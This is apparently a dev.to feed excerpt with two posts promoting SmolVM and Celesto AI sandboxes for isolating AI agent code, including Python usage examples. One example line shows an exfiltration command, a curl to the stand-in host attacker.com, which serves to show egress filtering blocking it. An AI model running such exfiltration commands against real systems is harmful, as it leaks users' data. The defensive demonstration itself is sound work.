  Real use case #2: Multi-turn sessions with persistent state
&lt;/h2&gt;

&lt;p&gt;For agents that install dependencies, build projects, or iterate over multiple turns, you want the VM to stick around. SmolVM supports this with explicit lifecycle control and the ability to reconnect by ID:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;smolvm&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;SmolVM&lt;/span&gt;

&lt;span class="n"&gt;vm&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;SmolVM&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;start&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;# Set up the environment
&lt;/span&gt;&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;pip install requests pandas&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Later in the conversation
&lt;/span&gt;&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;python analysis.py&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Reconnect from a different process
&lt;/span&gt;&lt;span class="n"&gt;vm_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;
&lt;span class="c1"&gt;# ... hours later ...
&lt;/span&gt;&lt;span class="n"&gt;vm&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;SmolVM&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;from_id&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vm_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can also inject environment variables (persisted to &lt;code&gt;/etc/profile.d/&lt;/code&gt; inside the VM) for API keys and configuration:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nc"&gt;SmolVM&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set_env_vars&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;API_KEY&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sk-...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;DEBUG&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;echo $API_KEY&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Real use case #3: Give the agent a browser
&lt;/h2&gt;

&lt;p&gt;Browser-using agents need a full browser session they can see and control. Running Chrome on the host is messy — it touches your cookies, your extensions, your logged-in sessions. Running it in a sandboxed VM is clean:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nc"&gt;SmolVM&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="c1"&gt;# Start a full browser inside the VM
&lt;/span&gt;    &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;google-chrome --remote-debugging-port=9222 &amp;amp;&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# Expose the DevTools port to the host
&lt;/span&gt;    &lt;span class="n"&gt;host_port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;expose_local&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;guest_port&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;9222&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;host_port&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;19222&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# Now connect Playwright/Puppeteer to http://localhost:19222
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The agent gets a real browser. Your host stays untouched.&lt;/p&gt;




&lt;h2&gt;
  
  
  Real use case #4: Let the agent read your repo (read-only)
&lt;/h2&gt;

&lt;p&gt;For coding agents that need to understand an existing codebase, you can mount a host directory &lt;strong&gt;read-only&lt;/strong&gt; so the agent can explore without being able to modify anything:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nc"&gt;SmolVM&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host_mounts&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/Users/me/my-repo&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/workspace&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ro&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)])&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="c1"&gt;# Agent can read but not write
&lt;/span&gt;    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ls /workspace&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cat /workspace/README.md&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is how you get the benefits of Cursor-style codebase awareness without trusting the agent (or a prompt-injected dependency) with write access to your project.&lt;/p&gt;




&lt;h2&gt;
  
  
  Real use case #5: Egress filtering
&lt;/h2&gt;

&lt;p&gt;A common exfiltration vector for malicious LLM output is "send data to attacker.com". SmolVM ships with domain allowlisting so the VM can only reach the hosts you explicitly permit:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nc"&gt;SmolVM&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;allow_hosts&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;api.openai.com&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;pypi.org&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="c1"&gt;# These work
&lt;/span&gt;    &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;pip install requests&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# This silently fails — attacker.com isn't on the list
&lt;/span&gt;    &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;curl https://attacker.com/exfil&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the model writes code that tries to phone home, the network stack says no.&lt;/p&gt;




&lt;h2&gt;
  
  
  SmolVM vs Docker vs other sandboxes
&lt;/h2&gt;

&lt;p&gt;Here's how SmolVM stacks up against the options most teams consider:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Feature&lt;/th&gt;
&lt;th&gt;Docker / containers&lt;/th&gt;
&lt;th&gt;SmolVM&lt;/th&gt;
&lt;th&gt;E2B (hosted)&lt;/th&gt;
&lt;th&gt;firecracker-containerd&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Isolation boundary&lt;/td&gt;
&lt;td&gt;Shared kernel&lt;/td&gt;
&lt;td&gt;Hardware (KVM/Firecracker)&lt;/td&gt;
&lt;td&gt;Hardware (Firecracker)&lt;/td&gt;
&lt;td&gt;Hardware (Firecracker)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Boot time&lt;/td&gt;
&lt;td&gt;~100ms&lt;/td&gt;
&lt;td&gt;~500ms&lt;/td&gt;
&lt;td&gt;~150ms (hosted)&lt;/td&gt;
&lt;td&gt;~500ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Runs on your infra&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;❌ (their cloud)&lt;/td&gt;
&lt;td&gt;✅ (complex setup)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Python SDK&lt;/td&gt;
&lt;td&gt;via Docker SDK&lt;/td&gt;
&lt;td&gt;✅ native&lt;/td&gt;
&lt;td&gt;✅ native&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;macOS support&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅ (QEMU)&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Host directory mounts&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;Limited&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Domain allowlisting&lt;/td&gt;
&lt;td&gt;Manual&lt;/td&gt;
&lt;td&gt;✅ built-in&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;Manual&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Snapshots&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Open source&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅ (Apache 2.0)&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Price&lt;/td&gt;
&lt;td&gt;Free&lt;/td&gt;
&lt;td&gt;Free&lt;/td&gt;
&lt;td&gt;Per-sandbox&lt;/td&gt;
&lt;td&gt;Free&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;If you want a hosted sandbox and don't mind a per-request cost, E2B is a great product. If you want to run sandboxes &lt;strong&gt;on your own infrastructure&lt;/strong&gt; (for cost, privacy, VPC requirements, or regulated-industry compliance), SmolVM is the option that gets you there without wiring up firecracker-containerd by hand.&lt;/p&gt;




&lt;h2&gt;
  
  
  Performance
&lt;/h2&gt;

&lt;p&gt;The whole reason microVMs are viable for agent workloads is boot speed. On an AMD Ryzen 7 7800X3D (8C/16T) running Ubuntu with the Firecracker backend, we measure p50 VM lifecycle timings in the sub-second range — fast enough to create a fresh sandbox per agent turn if you want to.&lt;/p&gt;

&lt;p&gt;In practice, most teams reuse VMs across a single conversation and recycle them between sessions. With snapshots, you can pre-warm a VM with a specific set of dependencies and restore from that snapshot in milliseconds — effectively free sandbox creation.&lt;/p&gt;




&lt;h2&gt;
  
  
  Who this is for
&lt;/h2&gt;

&lt;p&gt;SmolVM is useful if you're building:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Coding agents&lt;/strong&gt; (Cursor/Devin/Claude Code-style products) that need to execute code&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;App builders and design-to-code tools&lt;/strong&gt; that compile and run generated projects&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Workflow automation platforms&lt;/strong&gt; (n8n, Zapier-style) where users write code nodes&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Research and data-analysis agents&lt;/strong&gt; that run untrusted Python&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Browser-using agents&lt;/strong&gt; that need a clean, disposable browser session&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Any LLM product&lt;/strong&gt; where the model's output might be executed on a machine you care about&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If the model's output ever touches a shell, a Python interpreter, or a browser, you want a sandbox between it and your host.&lt;/p&gt;




&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Why not just use Docker for AI agent sandboxes?
&lt;/h3&gt;

&lt;p&gt;Docker containers share the host kernel. A kernel exploit or container-escape CVE becomes a full host compromise. For AI-generated code — which is effectively untrusted input — you want a hypervisor boundary between the code and your host. MicroVMs give you that, and modern microVMs boot fast enough to use per-request.&lt;/p&gt;

&lt;h3&gt;
  
  
  How is SmolVM different from E2B?
&lt;/h3&gt;

&lt;p&gt;E2B is a hosted sandbox service — you pay per sandbox and it runs on their infrastructure. SmolVM is open source and runs on your own machine or your own cloud, which matters if you care about data privacy, egress cost, VPC deployment, or regulated-industry compliance (fintech, health tech, legal tech). Both use Firecracker under the hood on Linux.&lt;/p&gt;

&lt;h3&gt;
  
  
  Does SmolVM work on macOS?
&lt;/h3&gt;

&lt;p&gt;Yes. On Linux, SmolVM uses Firecracker with KVM. On macOS, it uses QEMU with the Hypervisor framework. The Python API is identical across both backends, so your code is portable.&lt;/p&gt;

&lt;h3&gt;
  
  
  What about Windows?
&lt;/h3&gt;

&lt;p&gt;Windows isn't supported yet. WSL2 works, but native Windows support is on the roadmap.&lt;/p&gt;

&lt;h3&gt;
  
  
  Is SmolVM production-ready?
&lt;/h3&gt;

&lt;p&gt;SmolVM is in active development (currently v0.0.3). It's being used in production by early design partners. For mission-critical workloads, we recommend pinning to a specific version and running a staging deploy first. See the &lt;a href="https://docs.celesto.ai" rel="noopener noreferrer"&gt;installation docs&lt;/a&gt; for golden-AMI patterns and Firecracker version pinning.&lt;/p&gt;

&lt;h3&gt;
  
  
  Can I run GPU workloads inside SmolVM?
&lt;/h3&gt;

&lt;p&gt;Not in the current release. GPU passthrough for Firecracker is experimental upstream, and SmolVM doesn't expose it yet. For CPU-bound code (which is most agent code — data manipulation, API calls, shell commands, browser automation), SmolVM is a great fit. For GPU inference, keep that on the host.&lt;/p&gt;

&lt;h3&gt;
  
  
  What's the overhead per sandbox?
&lt;/h3&gt;

&lt;p&gt;A default SmolVM uses ~128MB of RAM and a few hundred MB of disk. You can run dozens of microVMs on a single host without breaking a sweat, which is the whole point of "micro" in microVM.&lt;/p&gt;

&lt;h3&gt;
  
  
  How does this fit with frameworks like LangChain or Agentor?
&lt;/h3&gt;

&lt;p&gt;SmolVM is a runtime, not a framework. Wrap &lt;code&gt;SmolVM().run(...)&lt;/code&gt; as a tool in whatever agent framework you're using. We designed it to be framework-agnostic so it plugs into existing agent stacks.&lt;/p&gt;




&lt;h2&gt;
  
  
  Getting started
&lt;/h2&gt;

&lt;p&gt;The fastest path:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Install:&lt;/strong&gt; &lt;code&gt;pip install smolvm&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Run host setup:&lt;/strong&gt; &lt;code&gt;./scripts/system-setup.sh&lt;/code&gt; (Linux) or &lt;code&gt;./scripts/system-setup-macos.sh&lt;/code&gt; (macOS)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Try the quickstart&lt;/strong&gt; above&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Star the repo&lt;/strong&gt; on &lt;a href="https://github.com/CelestoAI/SmolVM" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt; so you can find it later (and so we know it's useful — it helps us prioritize)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Read the docs&lt;/strong&gt; at &lt;a href="https://docs.celesto.ai" rel="noopener noreferrer"&gt;docs.celesto.ai&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;SmolVM is Apache 2.0 licensed and free to use in commercial projects. It's built and maintained by &lt;a href="https://celesto.ai" rel="noopener noreferrer"&gt;Celesto AI&lt;/a&gt;, where we're working on production infrastructure for AI agents.&lt;/p&gt;

&lt;p&gt;If you're building something interesting on top of it — or you hit something that doesn't work — open an issue or reach out. We read everything.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Building with AI agents? We'd love to hear what you're working on. Drop a comment below or find us on &lt;a href="https://github.com/CelestoAI/SmolVM" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>opensource</category>
      <category>showdev</category>
      <category>python</category>
    </item>
    <item>
      <title>Why AI Agents Need Sandboxes — And What to Look For</title>
      <dc:creator>Aniket Maurya</dc:creator>
      <pubDate>Sun, 12 Apr 2026 13:16:40 +0000</pubDate>
      <link>https://dev.to/aniketmaurya/why-ai-agents-need-sandboxes-and-what-to-look-for-e37</link>
      <guid>https://dev.to/aniketmaurya/why-ai-agents-need-sandboxes-and-what-to-look-for-e37</guid>
      <description>&lt;p&gt;AI agents have evolved from simple chatbots into autonomous systems that can execute code, navigate browsers, install packages, and interact with live services. With that power comes a serious question: where should these agents actually run?&lt;/p&gt;

&lt;p&gt;The answer is a &lt;strong&gt;sandbox&lt;/strong&gt; — a temporary, isolated computing environment built specifically for the agent. Think of it as giving the agent its own disposable computer rather than handing it the keys to yours.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Risk of Running Agents on Your Machine
&lt;/h2&gt;

&lt;p&gt;When an AI agent executes a shell command or installs a dependency, those are real operations with real consequences. Running them directly on your workstation opens the door to a range of problems:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Prompt injection attacks&lt;/strong&gt; could trick the agent into executing malicious commands that affect your actual system.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Credential leakage&lt;/strong&gt; becomes dangerous when your real API keys and tokens are accessible in the environment.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Accidental data loss&lt;/strong&gt; can happen if the agent overwrites or deletes files on your machine.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Supply chain compromises&lt;/strong&gt; from installing a tampered package could propagate to your host.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Production incidents&lt;/strong&gt; can occur if the agent inadvertently connects to and modifies a live system.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A sandbox eliminates these risks by containing all agent activity within a boundary. If something goes wrong, you simply discard the sandbox and spin up a new one.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Makes a True Agent Sandbox?
&lt;/h2&gt;

&lt;p&gt;Not every virtual machine or container qualifies as an agent sandbox. There are specific capabilities that differentiate a purpose-built agent sandbox from general-purpose compute:&lt;/p&gt;

&lt;h3&gt;
  
  
  Fast Startup
&lt;/h3&gt;

&lt;p&gt;Agent sandboxes need to launch in milliseconds, not seconds. If it takes 30 seconds to boot an environment, developers will bypass it entirely and run things locally. The target should be roughly 200–300ms spin-up times so that creating a fresh environment per task feels seamless.&lt;/p&gt;

&lt;h3&gt;
  
  
  Pause and Resume
&lt;/h3&gt;

&lt;p&gt;Agents spend a lot of time waiting — for user input, for API responses, or between steps in a workflow. A good sandbox can be paused during idle periods and resumed instantly, saving compute costs while preserving full state.&lt;/p&gt;

&lt;h3&gt;
  
  
  Snapshot and Restore
&lt;/h3&gt;

&lt;p&gt;This is essentially a save-point system. A snapshot captures the entire state of the sandbox at a given moment (filesystem, processes, connections, everything). If the agent takes a wrong turn, you roll back to the snapshot instead of starting over from scratch. This is invaluable for iterative agent workflows.&lt;/p&gt;

&lt;h2&gt;
  
  
  Nice-to-Have Capabilities
&lt;/h2&gt;

&lt;p&gt;Beyond the essentials, there are a few features that make sandboxes significantly more practical:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Internet access controls&lt;/strong&gt; — the ability to allow, block, or whitelist network traffic on a per-sandbox basis.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Pre-built environments&lt;/strong&gt; — base images with common toolchains (Python, Node.js, browsers) pre-installed to skip repetitive setup.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Live view&lt;/strong&gt; — real-time visibility into what the agent is doing inside the sandbox (terminal, browser, screen), which helps with debugging and building trust.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  A Sandbox Built for AI Agents: Celesto AI
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Disclosure: I'm the founder of &lt;a href="https://celesto.ai" rel="noopener noreferrer"&gt;Celesto AI&lt;/a&gt;, so take this with the appropriate grain of salt — but I built it precisely because I ran into these problems firsthand.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://celesto.ai" rel="noopener noreferrer"&gt;Celesto AI&lt;/a&gt; is a sandbox platform designed specifically for AI agents. It provides isolated cloud environments that spin up in milliseconds, with built-in support for pause/resume, snapshots, and fine-grained internet access controls. Whether you need an ephemeral sandbox for a one-off code execution task or a persistent environment for a multi-step agent workflow, Celesto handles both patterns out of the box.&lt;/p&gt;

&lt;p&gt;The goal is to make the safe path the default path — so developers and agent frameworks don't have to choose between security and speed.&lt;/p&gt;

&lt;h2&gt;
  
  
  Ephemeral vs. Persistent Sandboxes
&lt;/h2&gt;

&lt;p&gt;There are two main patterns for sandbox lifecycle management. &lt;strong&gt;Ephemeral sandboxes&lt;/strong&gt; are created for a single task and destroyed immediately after. They offer the strongest security guarantees since nothing persists between runs. &lt;strong&gt;Persistent sandboxes&lt;/strong&gt; stay alive across multiple steps, which is useful for multi-stage tasks where the agent needs to build on previous work.&lt;/p&gt;

&lt;p&gt;Most mature sandbox platforms support both patterns, letting you choose the right one for each use case.&lt;/p&gt;

&lt;h2&gt;
  
  
  Takeaway
&lt;/h2&gt;

&lt;p&gt;As AI agents become more capable, the environments they operate in matter more than ever. Sandboxes provide a straightforward way to let agents do meaningful work without risking your real infrastructure. The principle is simple: give the agent its own computer, not yours.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;This post was inspired by &lt;a href="https://celesto.ai/blog/posts/ai-agent-security/what-are-ai-agent-sandboxes/" rel="noopener noreferrer"&gt;What are AI Agent Sandboxes&lt;/a&gt; on the Celesto AI blog.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>security</category>
      <category>programming</category>
      <category>agents</category>
    </item>
    <item>
      <title>[Boost]</title>
      <dc:creator>Aniket Maurya</dc:creator>
      <pubDate>Wed, 04 Feb 2026 12:13:24 +0000</pubDate>
      <link>https://dev.to/aniketmaurya/-5fca</link>
      <guid>https://dev.to/aniketmaurya/-5fca</guid>
      <description>&lt;div class="ltag__link--embedded"&gt;
  &lt;div class="crayons-story "&gt;
  &lt;a href="https://dev.to/aniketmaurya/5-ways-to-set-up-openclaw-aka-clawdbot-moltbot-and-actually-use-it-day-to-day-2fhn" class="crayons-story__hidden-navigation-link"&gt;5 Ways to Set Up OpenClaw (aka ClawdBot / MoltBot) — and Actually Use It Day-to-Day&lt;/a&gt;


  &lt;div class="crayons-story__body crayons-story__body-full_post"&gt;
    &lt;div class="crayons-story__top"&gt;
      &lt;div class="crayons-story__meta"&gt;
        &lt;div class="crayons-story__author-pic"&gt;

          &lt;a href="/aniketmaurya" class="crayons-avatar  crayons-avatar--l  "&gt;
            &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F274492%2F32b0da35-e0ea-43d3-945f-e44ee4dd94de.jpg" alt="aniketmaurya profile" class="crayons-avatar__image" width="400" height="400"&gt;
          &lt;/a&gt;
